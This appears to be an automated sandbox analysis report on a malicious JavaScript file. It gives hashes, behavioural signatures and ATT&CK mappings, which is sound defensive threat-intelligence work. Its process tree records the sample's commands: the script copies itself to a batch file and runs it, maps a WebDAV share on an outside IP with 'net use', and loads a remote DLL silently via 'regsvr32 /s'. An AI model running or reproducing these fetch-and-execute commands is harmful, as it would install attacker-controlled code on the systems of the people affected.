395c600ca54aad30f925b325fe33be5024a999ab8376200c97b3317e04086bb0

Analysis

max time kernel
92s
max time network
131s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
09-07-2024 07:09

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General

Target

11968454993703809.js
Size

5KB
MD5

d9ca7d80421eb6e9efda80167fb2f2bd
SHA1

524b53c8009c870179d3702f90e9de09c1c09e3e
SHA256

2fdda290b9f0d494c3f1f3e3491a28361a3406df3de9ecbc10c594fe798bc1cb
SHA512

54e821568e083d658cd5e9e923c350a8feb70e0ab5d901a10f18c34471f8ebce2470c3307d114eeaec3698ae9d2e5a59f971baded91337b29cfcac3d826570b4
SSDEEP

96:lSHx+pj5vecNDhNd6SctXAarD04BrZ3+TrODXDrZ68vVNk1Q:lSH4jdechhNd6Sctwar44BrZ3+TrODXr

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-771719357-2485960699-3367710044-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4232 wrote to memory of 556	4232	wscript.exe	84
PID 4232 wrote to memory of 556	4232	wscript.exe	84
PID 556 wrote to memory of 2252	556	cmd.exe	87
PID 556 wrote to memory of 2252	556	cmd.exe	87
PID 556 wrote to memory of 1936	556	cmd.exe	88
PID 556 wrote to memory of 1936	556	cmd.exe	88

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\11968454993703809.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\11968454993703809.js" "C:\Users\Admin\\bnzuie.bat" && "C:\Users\Admin\\bnzuie.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:556
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2252
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\74.dll
    3⤵
    PID:1936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\bnzuie.bat

Filesize
5KB

MD5
d9ca7d80421eb6e9efda80167fb2f2bd

SHA1
524b53c8009c870179d3702f90e9de09c1c09e3e

SHA256
2fdda290b9f0d494c3f1f3e3491a28361a3406df3de9ecbc10c594fe798bc1cb

SHA512
54e821568e083d658cd5e9e923c350a8feb70e0ab5d901a10f18c34471f8ebce2470c3307d114eeaec3698ae9d2e5a59f971baded91337b29cfcac3d826570b4

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